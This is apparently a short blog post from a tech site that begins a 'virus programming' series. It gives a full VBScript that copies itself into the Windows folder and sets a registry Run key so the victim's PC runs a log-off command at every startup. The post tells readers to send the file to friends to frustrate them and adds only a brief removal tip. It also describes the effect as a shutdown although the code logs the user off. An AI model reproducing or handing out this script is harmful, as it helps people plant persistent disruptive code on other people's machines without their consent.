// Place side add here
Virus Programming/Batch File Programming
Internet Tips
Hacking Stuff
Useful Softwares
AntiVirus and Security Tips

Log Off Windows at Start up



Hello Friends,
From today i m starting a new section here on my site, which will help you to learn about virus programming and also you can make small viruses on your PC just using notepad.... :)

This first post of virus programming will tell you about... how you can make a virus that will shutdown a PC Automatically at Startup. Every time when a victim will restart his PC, it will be shutdown.


Ok, just open the notepad and type the paste the following code:
code:
set ws=createobject("wscript.shell")
dim strDir,strfile,st,strtxt2,strshell,strlog
dim obfso,obfolder,obshell,obfile,obtxtfile
strshell="wscript.shell"
strDir="C:\WINDOWS"
strfile="\wscript.vbs"
st=Chr(34)
strlog="shutdown -l"
strtxt2="ws.run(strlog)"
set obfso=CreateObject("Scripting.FileSystemObject")
on error resume next
set obfile=obfso.CreateTextfile(strDir & strfile)
obfile.writeline("set ws=createobject("&st&strshell&st&")")
obfile.writeline("ws.run("&st&strlog&st&")")
ws.regwrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Run\Logoff","C:\WINDOWS\wscript.vbs","REG_SZ”

Now save this notepad file with any name having  .vbs extension....

Now send it to ur friend.... and Frustrate your friend by shutting down his computer automatically on startup ;)


How to get rid of this virus:
for that just boot ur system in safe mode and then go to directory c:\ windows.... find out wscript.vbs file there.... and delete it :)







author


Written by:

Surbhi is Founder of Techbyte4u.com. Follow her on Twitter or email her

Bookmark and Share

0 comments for this post

Leave a reply

TechByte4U on FaceBook
Videos on Tech Byte 4 U